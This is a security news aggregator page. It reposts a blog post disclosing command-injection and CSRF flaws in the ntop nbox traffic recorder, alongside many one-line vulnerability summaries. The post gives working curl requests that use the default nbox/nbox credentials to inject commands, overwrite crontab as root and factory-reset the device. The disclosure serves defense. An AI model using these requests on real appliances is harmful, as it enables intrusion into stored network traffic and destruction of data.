«
Expand/Collapse
1280 items tagged "disclosure"
Related tags:
password disclosure [+],
full [+],
cross site scripting [+],
content [+],
vulnerability [+],
suffers [+],
rockettheme [+],
redirection [+],
party plugin [+],
osticket [+],
joomla [+],
injection [+],
icagenda [+],
from [+],
credential [+],
bugtracker [+],
user [+],
system [+],
storage center [+],
qnap [+],
plugin [+],
conceptronic [+],
bticino [+],
wordpress [+],
webapps [+],
webadmin [+],
visual tools [+],
visual [+],
videosmate [+],
version [+],
turbo [+],
style [+],
social discussions [+],
slideshow [+],
secure [+],
root password [+],
php [+],
organizer [+],
omni [+],
newscoop [+],
nessus [+],
mandrill [+],
legrand [+],
house [+],
grand [+],
flickr [+],
credentials [+],
contao [+],
cisco [+],
brute force [+],
authentication [+],
atmail [+],
application [+],
android [+],
airvisionnvr [+],
zend framework [+],
zend [+],
wordpress themes [+],
webroot [+],
webpagetest [+],
webmail [+],
webid [+],
web gateways [+],
web conference [+],
vbulletin [+],
traversal [+],
torrenttrader [+],
tierra [+],
third party [+],
system 1 [+],
style version [+],
splunk [+],
site [+],
sistem [+],
simple request [+],
simple machines [+],
simple [+],
shell [+],
school management system [+],
school [+],
rokbox [+],
remote [+],
queries [+],
phpmybittorrent [+],
password log [+],
paliz [+],
organizer version [+],
nas [+],
name [+],
multiple [+],
modx [+],
management [+],
luxcal [+],
local [+],
greenstone [+],
framework [+],
forum [+],
forgery [+],
force [+],
flash [+],
filecontral [+],
file deletion [+],
enumeration [+],
ecan [+],
dpr [+],
directory traversal [+],
directory [+],
digital library software [+],
dcforum [+],
d link [+],
configuration file [+],
conference software [+],
code execution [+],
cisco dpc [+],
cameras [+],
biwes [+],
bbpress [+],
author name [+],
author [+],
audio path [+],
audio [+],
apple tv [+],
apple security [+],
akcms [+],
advisory [+],
web applications [+],
information [+],
web [+],
x multiple [+],
vulnerabilities [+],
user manager [+],
shareyourcart [+],
rugged [+],
plugins [+],
operating system [+],
operating [+],
nginx [+],
naxsi [+],
mybb [+],
module [+],
magic [+],
mac os x [+],
grab [+],
getsimple [+],
exploit [+],
eshop [+],
com [+],
cimy [+],
apple quicktime [+],
apple mac os x [+],
apple mac os [+],
file [+],
sql [+],
path [+],
inclusion [+],
zeiten [+],
x.x [+],
wrap [+],
wireshark [+],
whmcs [+],
vulnerability note [+],
vitamin [+],
vicblog [+],
unzip [+],
ungallery [+],
type [+],
team [+],
symphony [+],
symantec [+],
sofaware [+],
social [+],
snare [+],
security [+],
remote shell [+],
readfile [+],
rama [+],
pikacms [+],
path parameter [+],
patch [+],
overflow [+],
oscommerce [+],
opencart [+],
nvr [+],
notification [+],
ngs [+],
multiple file [+],
movable type [+],
movable [+],
mouse [+],
moodle [+],
meetonetogo [+],
mandrill module [+],
manager plugin [+],
magento [+],
kamads [+],
jetpack [+],
ipboard [+],
internet explorer versions [+],
index [+],
gypsy information [+],
gypsy [+],
firewall [+],
exploits [+],
embryocore [+],
ecommerce [+],
dokuwiki [+],
docxp [+],
desktop [+],
denial of service [+],
cve [+],
core path [+],
command [+],
cloudsafe [+],
cisco ios [+],
checkpoint [+],
cfg [+],
carousel [+],
buffer overflow vulnerabilities [+],
buffer [+],
blind [+],
apple remote desktop [+],
apple remote [+],
apple ios [+],
apple [+],
amp [+],
album gallery [+],
ajaxplorer [+],
airvision [+],
admin [+],
Tools [+],
information disclosure vulnerability [+],
information disclosure [+],
sql injection [+],
password [+],
day [+],
drupal [+],
cms [+],
cross [+],
zoph,
zonealarm,
ziyaretci,
zip,
zervit disclose,
zervit,
zenphoto,
zen cart,
zen,
z blog,
yoast,
ydframework,
yamamah,
xweblog,
xt commerce,
xssdisclose,
xss,
xpra,
xoops,
xml,
xfs,
xerver,
xee,
xaraya,
xampp,
xajax,
x.org,
x ftpd,
wsn,
wp useronline,
worksimple,
wordpress plugins,
wordpress plugin,
wndrmac,
wndap,
wiz,
with,
wikipad,
whois,
whmcompletesolution,
whitepaper,
webspell,
websitebaker,
webserver,
webmail version,
webkit,
webinterface,
webc,
web wiz,
web server version,
web server,
web location,
web interface,
web cms,
web boom,
vural portal,
vulnerability disclosure,
voxtronic,
voxlog,
vote,
vmware tools,
vmware,
vm tools,
viscacha,
virtuemart,
video script,
video gallery,
video,
vbulletin version,
validator,
uyelik,
utstats,
utm,
use,
usa,
uploadify,
uploader,
upload,
universal,
typo3,
typo,
txt,
turkce,
tribiq,
tr database,
tor directory,
tor,
tomcat,
titanftp,
tinymce,
tinybb,
tinkode,
tine,
timthumb,
timelive,
time,
thumbnail gallery,
thinkun,
theuploader,
text password,
text,
technology shop,
syndicate,
syndeocms,
sync,
symfony,
supermicro,
sulata,
sukacms,
string,
store,
steve christey,
statcountex,
starbox,
star rating,
star database,
star,
sqlite,
spip,
sphider,
space character,
space,
source code,
source,
sos,
software technologies,
software installation,
snif,
smcwbr,
slides,
sitecomposeressentials disclose,
siparis,
simpliscms,
simpledownload,
shopping cart,
shopping,
shop,
shiro,
sharespace,
sharepoint,
shackleton,
sflog,
servicedesk,
service path,
service,
server version,
server v1,
server,
serial number,
seo,
sensitive data,
sensitive,
sendfile,
seditio,
security vulnerabilities,
security settings,
security fixes,
security advisory,
secunia,
sec,
seber,
search module,
search,
scripti,
script version,
script v1,
script asp,
script,
school portal,
scanner,
sahana,
safer use,
rxs,
ruubikcms,
rus,
runcms,
rsa,
routers,
router,
root,
roomwizard,
rollin remote,
rollin,
rips,
retired,
responsible,
response management system,
response,
resources forum,
resources,
research employee,
research,
remind,
register,
redux,
redaxscript,
realty,
realname,
ready,
read permission,
read,
razor,
rating,
randomness,
radyo,
quicksilver,
quickphp,
quickdev,
quescom,
qportal,
qcodo,
python,
pulsecms,
psnews,
przemo,
proxy,
proof of concept,
proof,
professional versions,
professional,
pro web,
pro,
prestashop,
pressetool,
pre,
pragyan,
pr10,
power board,
postcard,
post,
portfolio,
portal database,
portal,
polycom,
policy,
podcast,
poc,
plus,
plugs,
plugin version,
pluck,
plogger,
pligg,
pixelpost,
pixelgems,
pixel,
pivotx,
picsell,
phpthumb,
phpmysport,
phpmyadmin,
phpmur,
phpids,
phpcollab,
phpbugtracker,
phpbb,
php fusion,
php files,
photoblog,
photo gallery,
photo album,
photo,
phone,
phire,
peep,
peel,
patching,
password pair,
passwd,
passphrase,
parameter,
panel version,
panel,
pa,
owncloud,
osfilemanager,
oscss,
os x,
oracle,
opendrive,
open,
online,
okul,
nwahy,
nuralstorm,
nosql,
nextgen,
newspad,
newsletter preview,
newsletter,
news,
new,
netzbrett,
netgear,
nessusd,
myphp,
myownspace,
myfaces,
mybloggie,
music portal,
music,
multithreaded,
multiple buffer overflow,
multi,
mr moore,
mpdf,
month,
mongoose,
mobile devices,
moaub,
misc,
miranda im,
miranda,
mingle,
minalic,
microsoft sharepoint,
microsoft implements,
microsoft,
michael kemp,
metinfo,
merchant version,
merchant v2,
merchant,
mentor database,
mentor,
memory,
membris,
member,
mediacast,
mdb database,
mdb,
mdaemon,
mayasan,
max,
marcus ranum,
mantisbt,
manager wordpress,
manager version,
manager database,
manager,
manageengine,
mambo cms,
mambo,
mailing,
mailer daemon,
mailer,
mail,
mac photo,
mac os,
lotus,
lookmer disclose,
lokomedia,
login,
localfile,
local information,
load,
livestreet,
live,
list,
linux,
lightneasy,
liferay,
libmikmod,
lfi,
legal,
lazyest,
kyung,
krm,
kleeja,
kisisel,
kievshina,
kcms,
kayako,
kasseler,
kanarya,
kaibb,
jtiny,
jobs,
jfreechart,
jevci,
jennifer granick,
jdownloader,
jag,
j.a.g,
iware,
isoft,
ipmi,
iphone 4,
ipbfd,
ipb,
ip phone,
ios,
invision,
interphoto,
intelligent technology,
intelligent,
inj,
ing database,
information leakage,
include,
imagezoom,
image gallery,
image,
iisworks,
icebb,
icblogger,
hycus,
http server,
http,
html edit,
htc,
htb,
hosting directory,
hosting,
homepina,
hijack,
hfs,
havalite,
hash,
haber,
habari,
guestbook database,
guestbook,
guest database,
guest,
google maps,
google,
gokhun,
goaheaad,
glpi,
globals,
getpic,
generator,
gekko,
gateway portal,
gateway,
games,
galore,
gallery 1,
gallery,
fusion,
functionality,
full disclosure,
ftpd,
ftp server,
freepbx,
free way,
formu,
forms,
forensics,
forcefield,
folder name,
flvplayer,
flatnux,
fipsforum,
filename,
fileman,
filedownload,
file upload,
file folder,
file browser,
fckeditor,
fatihsoftblog,
farsi,
f shopping,
ezreservation,
ezapparel,
ez oscommerce,
exponent,
exploring,
expense,
existence,
execution,
ewebeditor,
evaria,
etomite,
etc passwd,
esyndicat,
essentials,
esitesbuilder,
esinti,
eocms,
envision,
enterprise version,
enterprise,
enigma,
energine,
enano,
employee timeclock,
employee,
emesene,
email,
elibrary,
efront,
eclime,
ebuddy,
e107 plugin,
e fee,
e book,
dynpg,
dynpage,
dynmedia,
dtach,
ds syndicate,
drinking,
dreambox,
download,
dotnetnuke,
dos path,
dokeos,
dms easy,
disclosure policy,
disclosure policies,
disclosure law,
directory version,
directory traversal vulnerability,
dimaccms,
digphp,
digistore,
development framework,
development,
designed,
denial,
debate,
dd wrt,
dbhcms,
dataface,
databases,
database login,
database backups,
database backup,
database,
darknet,
dalbum,
d gwt,
cyberoam,
csrf,
critical,
crish,
cre,
cpanel,
count,
coppermine,
cookie,
content manager,
content management system,
contact forms,
contact,
consult,
component version,
complete blog,
complete,
company,
compactcms,
commerce systems,
comment,
command execution,
comersus,
coldfusion,
clientarea,
clansphere,
cituscms,
chillycms,
character,
chamilo,
cetera,
cemaliste disclose,
cemaliste,
catalog manager,
catalog,
cartxpress,
cart,
captcha,
camera,
ca arcserve,
bytolinet,
bypass,
buzzywall,
burning,
bugzilla,
bugtraq,
browser,
bridge,
brewblogger,
boutikone,
boston,
booksolved,
book store,
book,
board,
blue hat,
blue,
blogx,
blogs,
blogitdl,
blogger,
blog,
black hat,
bka,
bitweaver,
bitfolge,
billing,
beta xss,
beta asp,
beta,
basmi,
banish,
baconmap,
backwpup,
backups,
backup function,
backup,
automation,
authors,
atutor,
attack,
astrocms,
asp source code,
asp,
artiphp,
artgk,
artefact,
arcserve,
arbitrary,
arabic,
apple iphone,
apple hfs,
apache tomcat,
apache myfaces,
apache,
ap 7,
anket,
alpha,
allpc,
album,
al sat,
aka,
agencia,
agasti,
advanced management,
adobe,
administrator,
administrative credential,
admin panel,
active directory,
achecker,
abb,
aastra,
Software,
Skype,
Newbie,
Issues,
Bugs
Skip to page:
1
2
3
...
6
-
-
9:21
»
Carnal0wnage
Security is a boomin’, and so there are many different appliances to protect your network. Some of them do very little to protect, some of them open new holes in
your network.
In line with best practice, many Security teams capture all network traffic using a variety of solutions, some closed, some open source. Once the traffic is stored, it can be used to detect badness, or just examine traffic patterns on corporate assets.
One of these open source options is NTOP, which of course has an appliance version, called nbox recorder. It goes without saying, if this traffic data were to be exposed, the consequences could be catastrophic. Consider stored credentials, authentication data, PII, internal data leakage...
 |
| PCAP or it didn't happen |
You can either buy a ready-to-go appliance or with some drudge work you can build your own. Just get a license for nbox and just put it into a Linux box, they are nice like that providing all the
repositories and the steps are simple and easy to follow. Just spin up an Ubuntu VM and run:
wget http://apt.ntop.org/14.04/all/apt-ntop.debsudo dpkg -i apt-ntop.deb
sudo apt-get clean all
sudo apt-get update
sudo apt-get install -y pfring nprobe ntopng ntopng-data n2disk cento nbox
BOOM! You are ready to go. Now you have a nbox recorder ready to be used. And abused!
The default credentials are nbox/nbox and it does use Basic Auth to be accessed.
Before I continue, imagine that you have this machine capturing all the traffic of your network. Listening to all your corporate communications or production traffic and storing them on disk. How bad would it be if an attacker gets full access to it? Take a minute to think about it.
 |
| Uh-oh... |
This level of exposure caught my eye, and I wanted to verify that having one of these sitting in your network does not make you more exposed. Unfortunately, I found several issues that could have been catastrophic with a malicious intent.
I do believe in the responsible disclosure process, however after repeatedly notifying both ntop and MITRE, these issues were not given high priority nor visibility. The following table details the timeline around my disclosure communications:
Disclosure Timeline
12/27/2014 - Sent to ntop details about some nbox vulnerabilities discovered in version 2.0
01/15/2015 - Asked ntop for an update about the vulnerabilities sent
01/16/2015 - Requested by ntop the details again, stating they may have been fixed
01/18/2015 - Sent for a second time the vulnerabilities details. Mentioned to request CVEs
05/24/2015 - Asked ntop for an update about the vulnerabilities sent and to request CVEs
01/06/2016 - Noticed new nbox version is out (2.3) and found more vulnerabilities. Old vulnerabilities are fixed. Sent ntop an email about new issues and to request CVEs
01/06/2016 - Quick answer ignoring my request for CVEs and just asking for vulnerabilities details.
01/28/2016 - Sent request for CVEs to MITRE, submitting a full report with all the issues and steps to reproduce.
02/17/2016 - Asked MITRE for an update on the issues submitted.
02/17/2016 - Reply from MITRE: “Your request is outside the scope of CVE's published priorities. As such, it will not be assigned a CVE-ID by MITRE or another CVE CNA at this time.”
07/10/2016 - Noticed new nbox version (2.5) with partial fixes for some vulnerabilities in the previous (2.3) version
The ntop team initially refused to comment and silently fixed the bugs. MITRE then said this wasn't severe enough to warrant a CVE. As such, I have now chosen to highlight the issues here in an effort to have them remediated. I again want to highlight that I take this process very seriously, but after consulting with multiple other individuals, I feel that both the ntop team and MITRE have left me no other responsible options.
 |
| Here comes the paintrain! |
*
Replace NTOP-BOX with the IP address of your appliance (presuming that you already logged in). Note that most of the RCEs are wrapped in sudo so it makes the pwnage much more interesting:RCE: POST against https://NTOP-BOX/ntop-bin/write_conf_users.cgi with parameter cmd=touch /tmp/HACK
curl -sk --user nbox:nbox --data 'cmd=touch /tmp/HACK' 'https://NTOP-BOX/ntop-bin/write_conf_users.cgi'
RCE: POST against https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi with parameters interface=;touch /tmp/HACK;
curl -sk --user nbox:nbox --data 'interface=;touch /tmp/HACK;' 'https://NTOP-BOX/ntop-bin/rrd_net_graph.cgi'
RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap
curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/pcap_upload.cgi?dir=|touch%20/tmp/HACK&pcap=pcap'
RCE (Wrapped in sudo): GET https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi¶ms=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22
curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/sudowrapper.cgi?script=adm_storage_info.cgi¶ms=P%22|whoami%3E%20%22/tmp/HACK%22|echo%20%22'
RCE: POST against https://NTOP-BOX/ntop-bin/do_mergecap.cgi with parameters opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit%200
curl -sk --user nbox:nbox --data 'opt=Merge&base_dir=/tmp&out_dir=/tmp/DOESNTEXIST;touch /tmp/HACK;exit 0' 'https://NTOP-BOX/ntop-bin/do_mergecap.cgi'
There are some other interesting things, for example, it was possible to have a persistent XSS by rewriting crontab with a XSS payload on it, but they fixed it in 2.5. However the crontab overwrite (Wrapped in sudo) is still possible:
GET https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON
curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_crontab.cgi?act_cron=COMMANDS%20TO%20GO%20IN%20CRON'
The last one is a CSRF that leaves the machine fried, by resetting the machine completely:GET https://NTOP-BOX/ntop-bin/do_factory_reset.cgi
curl -sk --user nbox:nbox 'https://NTOP-BOX/ntop-bin/do_factory_reset.cgi'
To make things easier, I created a Vagrantfile with provisioning so you can have your own nbox appliance and test my findings or give it a shot. There is more stuff to be found, trust me :)
https://github.com/javuto/nbox-pwnage And you can run the checker.sh to check for all the above attacks. Pull requests are welcome if you find more!
(The issues were found originally in nbox 2.3 and confirmed in nbox 2.5)Modules for metasploit and BeEF will come soon. I hope this time the issues are not just silently patched...
If you have any questions or feedback, hit me up in twitter (@javutin)!
Have a nice day!
-
-
15:03
»
Packet Storm Security Exploits
osTicket version 1.7 DPR3 suffers from cross site scripting, path disclosure, open redirection, and remote blind SQL injection vulnerabilities.
-
15:03
»
Packet Storm Security Misc. Files
osTicket version 1.7 DPR3 suffers from cross site scripting, path disclosure, open redirection, and remote blind SQL injection vulnerabilities.
-
15:01
»
Packet Storm Security Exploits
osTicket version 1.7 RC2 suffers from cross site request forgery, cross site scripting, path disclosure, and open redirection vulnerabilities.
-
15:01
»
Packet Storm Security Misc. Files
osTicket version 1.7 RC2 suffers from cross site request forgery, cross site scripting, path disclosure, and open redirection vulnerabilities.
-
-
6:44
»
Packet Storm Security Exploits
33 new themes for WordPress that are made by RocketTheme suffer from cross site scripting, path disclosure, and content spoofing vulnerabilities.
-
6:44
»
Packet Storm Security Exploits
33 new themes for WordPress that are made by RocketTheme suffer from cross site scripting, path disclosure, and content spoofing vulnerabilities.
-
6:44
»
Packet Storm Security Misc. Files
33 new themes for WordPress that are made by RocketTheme suffer from cross site scripting, path disclosure, and content spoofing vulnerabilities.
-
6:44
»
Packet Storm Security Misc. Files
33 new themes for WordPress that are made by RocketTheme suffer from cross site scripting, path disclosure, and content spoofing vulnerabilities.
-
-
14:59
»
Packet Storm Security Exploits
Multiple WordPress themes by RocketTheme suffer from cross site scripting, path disclosure, and content spoofing vulnerabilities.
-
-
16:00
»
SecuriTeam
The eShop Magic plugin for WordPress is prone to an arbitrary-file-disclosure vulnerability because it fails to properly sanitize user-supplied input.
-
16:00
»
SecuriTeam
airVision NVR is prone to a file-disclosure vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
-
14:42
»
0day.today (was: 1337day, Inj3ct0r, 1337db)
[web applications] - Moodle 1.9.14.2 Full Puth Disclosure Vulnerability
-
14:39
»
0day.today (was: 1337day, Inj3ct0r, 1337db)
[web applications] - Wordpress 3.4.2 JetPack Full Path Disclosure
-
14:36
»
0day.today (was: 1337day, Inj3ct0r, 1337db)
[web applications] - OpenCart v. 1.5.1.3 Full Path Disclosure Multiple
-
10:29
»
0day.today (was: 1337day, Inj3ct0r, 1337db)
[web applications] - Wordpress Plugins - my-link-order Full Path Disclosure Vulnerability
-
-
13:24
»
0day.today (was: 1337day, Inj3ct0r, 1337db)
[web applications] - Wordpress 3.4.2 Full Path Disclosure Vulnerability
-
13:21
»
0day.today (was: 1337day, Inj3ct0r, 1337db)
[web applications] - Newscoop 4.0.2 Blind SQLi & Path Disclosure Vulnerabilities
-
13:03
»
0day.today (was: 1337day, Inj3ct0r, 1337db)
[web applications] - vBulletin 4.2.0 Full Path Disclosure Vulnerability
-
12:22
»
Packet Storm Security Exploits
Newscoop version 4.0.2 suffers from path disclosure and remote blind SQL injection vulnerabilities. Note that this finding houses site-specific data.
-
12:22
»
Packet Storm Security Recent Files
Newscoop version 4.0.2 suffers from path disclosure and remote blind SQL injection vulnerabilities. Note that this finding houses site-specific data.
-
12:22
»
Packet Storm Security Misc. Files
Newscoop version 4.0.2 suffers from path disclosure and remote blind SQL injection vulnerabilities. Note that this finding houses site-specific data.
-
-
9:05
»
Packet Storm Security Advisories
Apple Security Advisory 2012-11-29-1 - Apple TV 5.1.1 is now available and addresses information disclosure and code execution vulnerabilities.
-
9:05
»
Packet Storm Security Misc. Files
Apple Security Advisory 2012-11-29-1 - Apple TV 5.1.1 is now available and addresses information disclosure and code execution vulnerabilities.
-
-
9:12
»
Packet Storm Security Exploits
Greenstone Digital Library Software suffers from cross site scripting, password file disclosure, broken salt, and log forging vulnerabilities.
-
9:12
»
Packet Storm Security Misc. Files
Greenstone Digital Library Software suffers from cross site scripting, password file disclosure, broken salt, and log forging vulnerabilities.
-
-
23:25
»
Packet Storm Security Exploits
BugTracker.Net versions 3.5.8 and below suffer from remote SQL Injection, cross site scripting, and file disclosure vulnerabilities. Full report and advisory included.
-
23:25
»
Packet Storm Security Recent Files
BugTracker.Net versions 3.5.8 and below suffer from remote SQL Injection, cross site scripting, and file disclosure vulnerabilities. Full report and advisory included.
-
23:25
»
Packet Storm Security Misc. Files
BugTracker.Net versions 3.5.8 and below suffer from remote SQL Injection, cross site scripting, and file disclosure vulnerabilities. Full report and advisory included.
-
-
17:00
»
SecuriTeam
The Cimy User Manager Plugin for WordPress is prone to an arbitrary file-disclosure vulnerability because it fails to properly sanitize user-supplied input.
-
-
17:00
»
SecuriTeam
The eShop Magic plugin for WordPress is prone to an arbitrary-file-disclosure vulnerability
-
9:01
»
Packet Storm Security Recent Files
WordPress GRAND Flash Album Gallery plugin versions 1.9.0 and 2.0.0 suffer from file disclosure, file overwrite, directory traversal, and remote SQL injection vulnerabilities.
-
9:01
»
Packet Storm Security Misc. Files
WordPress GRAND Flash Album Gallery plugin versions 1.9.0 and 2.0.0 suffer from file disclosure, file overwrite, directory traversal, and remote SQL injection vulnerabilities.
-
17:00
»
SecuriTeam
Legrand-003598 and Bticino-F454 are prone to a remote information-disclosure.
-
-
7:47
»
Packet Storm Security Exploits
Legrand-003598 / Bticino-F454 SCS web gateways both suffer from a remote credential disclosure vulnerability. Firmware 1.00.26 is affected.
-
0:14
»
Packet Storm Security Exploits
WordPress Social Discussions plugin version 6.1.1 suffers from local file inclusion, path disclosure, and remote file inclusion vulnerabilities.
-
0:14
»
Packet Storm Security Misc. Files
WordPress Social Discussions plugin version 6.1.1 suffers from local file inclusion, path disclosure, and remote file inclusion vulnerabilities.
-
12:22
»
Packet Storm Security Exploits
Symphony CMS version 2.3 suffers from cross site scripting, path disclosure, remote shell upload, token brute force, and remote SQL injection vulnerabilities.
-
-
18:32
»
Packet Storm Security Exploits
Visual Tools DVR VS Series versions 3.0.6.16 and below and VX Series versions 4.2.19.2 and below suffer from administrative password disclosure, default administrative password, log file disclosure, command injection, and insecure permission vulnerabilities.
-
18:32
»
Packet Storm Security Recent Files
Visual Tools DVR VS Series versions 3.0.6.16 and below and VX Series versions 4.2.19.2 and below suffer from administrative password disclosure, default administrative password, log file disclosure, command injection, and insecure permission vulnerabilities.
-
18:32
»
Packet Storm Security Misc. Files
Visual Tools DVR VS Series versions 3.0.6.16 and below and VX Series versions 4.2.19.2 and below suffer from administrative password disclosure, default administrative password, log file disclosure, command injection, and insecure permission vulnerabilities.
-
-
16:33
»
Packet Storm Security Exploits
phpMyBitTorrent version 2.04 suffers from insecure cache handling, remote file disclosure, local file inclusion, and remote SQL injection vulnerabilities.
-
16:33
»
Packet Storm Security Recent Files
phpMyBitTorrent version 2.04 suffers from insecure cache handling, remote file disclosure, local file inclusion, and remote SQL injection vulnerabilities.
-
16:33
»
Packet Storm Security Misc. Files
phpMyBitTorrent version 2.04 suffers from insecure cache handling, remote file disclosure, local file inclusion, and remote SQL injection vulnerabilities.
-
-
12:28
»
Packet Storm Security Exploits
TorrentTrader version 2.08 suffers from authorization bypass, cross site scripting, path disclosure, and directory traversal vulnerabilities.
-
12:28
»
Packet Storm Security Misc. Files
TorrentTrader version 2.08 suffers from authorization bypass, cross site scripting, path disclosure, and directory traversal vulnerabilities.
-
-
3:11
»
Packet Storm Security Exploits
WordPress Tierra Audio third party plugin suffers from full path disclosure and directory listing vulnerabilities. Note that this finding houses site-specific data.
-
3:11
»
Packet Storm Security Recent Files
WordPress Tierra Audio third party plugin suffers from full path disclosure and directory listing vulnerabilities. Note that this finding houses site-specific data.
-
3:11
»
Packet Storm Security Misc. Files
WordPress Tierra Audio third party plugin suffers from full path disclosure and directory listing vulnerabilities. Note that this finding houses site-specific data.
-
-
16:22
»
Packet Storm Security Exploits
Akcms version 4.2.4 suffers from an information disclosure vulnerability due to the installation log with credentials being left accessible in the webroot.
-
16:22
»
Packet Storm Security Recent Files
Akcms version 4.2.4 suffers from an information disclosure vulnerability due to the installation log with credentials being left accessible in the webroot.
-
16:22
»
Packet Storm Security Misc. Files
Akcms version 4.2.4 suffers from an information disclosure vulnerability due to the installation log with credentials being left accessible in the webroot.
-
8:55
»
Packet Storm Security Exploits
The Joomla ICAgenda component suffers from remote blind SQL injection and path disclosure vulnerabilities. Note that this finding houses site-specific data.
-
8:55
»
Packet Storm Security Recent Files
The Joomla ICAgenda component suffers from remote blind SQL injection and path disclosure vulnerabilities. Note that this finding houses site-specific data.
-
8:55
»
Packet Storm Security Misc. Files
The Joomla ICAgenda component suffers from remote blind SQL injection and path disclosure vulnerabilities. Note that this finding houses site-specific data.
-
-
17:00
»
SecuriTeam
MyBB is prone to multiple security vulnerabilities including: 1. Multiple SQL-injection vulnerabilities 2. A cross-site scripting vulnerability 3. A path-disclosure vulnerability
-
17:00
»
SecuriTeam
The ShareYourCart plugin for WordPress is vulnerable to a path-disclosure vulnerability.
-
-
17:00
»
SecuriTeam
Apple Mac OS X is prone to multiple information-disclosure vulnerabilities.
-
17:00
»
SecuriTeam
Apple Quicktime is prone to an information-disclosure vulnerability.
-
-
7:14
»
Packet Storm Security Exploits
WeBid versions 1.0.4 and below suffer from local file disclosure, remote file inclusion, and remote SQL injection vulnerabilities.
-
-
17:00
»
SecuriTeam
Cisco IOS is prone to an information-disclosure vulnerability.
-
17:00
»
SecuriTeam
meetOneToGo is prone to an information disclosure vulnerability.
-
17:00
»
SecuriTeam
The Vitamin plugin for WordPress is prone to multiple file-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.
-
-
17:00
»
SecuriTeam
The Naxsi Module for Nginx is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.
-
-
17:00
»
SecuriTeam
Movable Type is prone to an unspecified local file-disclosure vulnerability.
-
-
17:00
»
SecuriTeam
The UnGallery plug-in for WordPress is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.
-
-
17:00
»
SecuriTeam
Rama Zeiten CMS is prone to a remote file-disclosure vulnerability because it fails to properly sanitize user-supplied input.
-
-
17:00
»
SecuriTeam
PikaCMS is prone to multiple local file-disclosure vulnerabilities because it fails to adequately validate user-supplied input.
-
6:43
»
Packet Storm Security Exploits
WebPageTest versions 2.6 and below suffer from local file inclusion, shell upload, file disclosure, and file deletion vulnerabilities.
Skip to page:
1
2
3
...
6
